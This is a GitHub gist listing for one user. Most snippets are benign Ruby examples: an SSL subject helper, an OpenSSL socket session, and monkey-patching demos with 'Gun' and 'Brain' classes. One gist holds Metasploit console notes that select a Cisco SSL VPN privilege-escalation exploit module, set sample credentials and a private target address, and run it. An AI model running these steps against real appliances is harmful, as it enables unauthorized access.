Skip to content

Instantly share code, notes, and snippets.

View claudijd's full-sized avatar
🦬

Jonathan Claudius claudijd

🦬
View GitHub Profile
@claudijd
claudijd / ssl_helper.rb
Created February 4, 2014 01:23
Grab SSL Subject Helper
require 'socket'
require 'openssl'
module SSLHelpers
class Client
def initialize(host, port)
@host = host
@port = port
end
@claudijd
claudijd / gist:10001072
Created April 6, 2014 03:19
Default Ruby 2.x OpenSSL Socket Behavior
>> require 'socket'
=> true
>> require 'openssl'
=> true
>>
?> sock = TCPSocket.new('10.70.32.104', 443)
=> #<TCPSocket:fd 7>
>> ctx = OpenSSL::SSL::SSLContext.new
=> #<OpenSSL::SSL::SSLContext:0x000001018a5c08 @cert=nil, @key=nil, @client_ca=nil, @ca_file=nil, @ca_path=nil, @timeout=nil, @verify_mode=nil, @verify_depth=nil, @renegotiation_cb=nil, @verify_callback=nil, @options=nil, @cert_store=nil, @extra_chain_cert=nil, @client_cert_cb=nil, @tmp_dh_callback=nil, @session_id_context=nil, @session_get_cb=nil, @session_new_cb=nil, @session_remove_cb=nil, @servername_cb=nil, @npn_protocols=nil, @npn_select_cb=nil>
>> ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
@claudijd
claudijd / gist:11378141
Created April 28, 2014 17:11
Cisco SSL VPN Privilege Escalation MSF Notes
load ~/metasploit/plugins/meta_ssh
use exploit/multi/http/cisco_ssl_vpn_priv_esc
set PAYLOAD ssh/metassh_session
set USERNAME jsmith
set PASSWORD jsmith
set GROUP vendor
set RHOST 192.168.101.1
exploit
@claudijd
claudijd / gist:68a36514d4149db1395d
Last active August 29, 2015 14:02
Ruby Multi-line Conditional Style Example
if a == 1 &&
b == 2
#do_stuff
end
if a == 1 && b == 2
#do_stuff
end
@claudijd
claudijd / gun.rb
Created August 13, 2014 03:25
Semi-automatic Gun
class Gun
def trigger
fire
end
private
def fire
puts "BANG!"
end
end
@claudijd
claudijd / irb_session.txt
Created August 13, 2014 03:30
Using semi-automatic gun
>> semiautomatic_gun = Gun.new()
=> #<Gun:0x00000102806a80>
>> semiautomatic_gun.trigger
BANG!
@claudijd
claudijd / monkey_patched_gun.rb
Last active August 29, 2015 14:05
Monkey Patched Gun (3-round bursts)
class Gun
def trigger
3.times {fire}
end
end
@claudijd
claudijd / irb_session.txt
Created August 13, 2014 03:35
Firing Monkey Patched Gun (3-round bursts)
>> require 'monkey_patched_gun'
=> true
>> semiautomatic_gun.trigger
BANG!
BANG!
BANG!
>> semiautomatic_gun.to_s
=> "#<Gun:0x00000102806a80>"
@claudijd
claudijd / brain.rb
Created August 13, 2014 03:37
Neo's brain before monkey patching
class Brain
def initialize
@skills = [
"hide",
"run",
]
end
def what_to_do?
@skills[rand(2)]
@claudijd
claudijd / irb_session.txt
Created August 13, 2014 03:51
Neo's brain before monkey patching
>> require 'brain'
=> true
>> neo_brain = Brain.new()
=> #<Brain:0x0000010218aee0 @skills=["hide", "run"]>
>> neo_brain.what_to_do?
=> "hide"
>> neo_brain.what_to_do?
=> "run"